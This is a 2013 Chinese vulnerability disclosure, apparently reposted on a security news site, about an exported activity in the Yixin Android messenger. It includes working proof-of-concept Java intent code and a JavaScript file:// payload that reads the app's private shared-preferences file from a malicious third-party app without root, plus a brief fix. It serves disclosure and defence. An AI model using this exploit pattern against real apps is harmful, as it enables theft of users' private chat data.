易信组件信息泄露漏洞 可致恶意APP获取其私有目录数据(非root环境)

浏览:
字体:
发布时间:2013-12-09 23:23:23
来源:
易信的组件使用不当存在信息泄露漏洞、弹窗,恶意攻击者可能可以使用这个漏洞窃取用户隐私,或者弹一些恶意构造的广告
启动界面WelcomeActivity是导出的, WelcomeActivity的.method private h()V存在如下smali:
 
Lim/yixin/activity/WelcomeActivity;->getIntent()Landroid/content/Intent;......Landroid/content/Intent;->getParcelableExtra(Ljava/lang/String;)Landroid/os/Parcelable;......Lim/yixin/activity/WelcomeActivity;->startActivity(Landroid/content/Intent;)V

 

 
 
当一个攻击app(恶意或非恶意均可以) 可以通过这个导出的组件,打开一个本地页面时,此本地页面中的可以按照攻击app的要求获取易信下的所有数据,包括聊天数据库等,盗取过程无需root,盗取之后可以发送给远程服务器! 
 
 
 
利用细节:
 
这里是手动把file:///mnt/sdcard/yixin.html放在sd卡上,在攻击app中直接释放这个html
 
 
 
主要实现代码:
 
static final String YIXIN_PKG = "im.yixin"; static final String CustomWebView_ACTIVITY = "im.yixin.activity.CustomWebView"; static final String Welcome_ACTIVITY = "im.yixin.activity.WelcomeActivity";    public void attack()  {        Intent contIntent = new Intent();        contIntent.putExtra("url", "file:///mnt/sdcard/yixin.html");        Intent intent = new Intent();        intent.setClassName(YIXIN_PKG, Welcome_ACTIVITY);        Class lunch = null;        File aOptimizedDexOutputPath = getDir("outdex", Context.MODE_PRIVATE);        File dexFile = new File("/data/app/im.yixin-1.apk");          if(dexFile.exists()){ DexClassLoader loader = new DexClassLoader(dexFile.toString() , aOptimizedDexOutputPath.getAbsolutePath() , null , ClassLoader.getSystemClassLoader());       try {lunch = Class.forName("im.yixin.activity.CustomWebView",true,loader);} catch (ClassNotFoundException e) {e.printStackTrace();}        }        intent.putExtra("target", lunch);        intent.putExtra("data", contIntent);        this.startActivity(intent);    }

 

 
 
 
存放在/mnt/sdcard/yixin.html内容如下:
 
<html><body><script type="text/javascript">function getMessage() {var request = false;    if(window.XMLHttpRequest) {        request = new XMLHttpRequest();if(request.overrideMimeType) {request.overrideMimeType('text/xml');}    }     xmlhttp = request;    //获取本地文件代码    xmlhttp.open("GET", "file:////data/data/im.yixin/shared_prefs/saveTextMessage.xml", false);    xmlhttp.send(null);    var ret = xmlhttp.responseText;return ret;}alert(getMessage());</script></body></html>

 

 
导出activity,导致可以打开一个本地页面时,此本地页面中的可以按照攻击app的要求获取易信下的所有数据,包括聊天数据库等,盗取过程无需root,盗取之后可以发送给远程服务器!
修复方案:
导出activity控制getIntent以及getParcelableExtra的使用
>更多相关文章
24小时热门资讯
24小时回复排行
资讯 | QQ | 安全 | 编程 | 数据库 | 系统 | 网络 | 考试 | 站长 | 关于东联 | 安全雇佣 | 搞笑视频大全 | 微信学院 | 视频课程 |
关于我们 | 联系我们 | 广告服务 | 免责申明 | 作品发布 | 网站地图 | 官方微博 | 技术培训
Copyright © 2007 - 2024 Vm888.Com. All Rights Reserved
粤公网安备 44060402001498号 粤ICP备19097316号 请遵循相关法律法规
');})();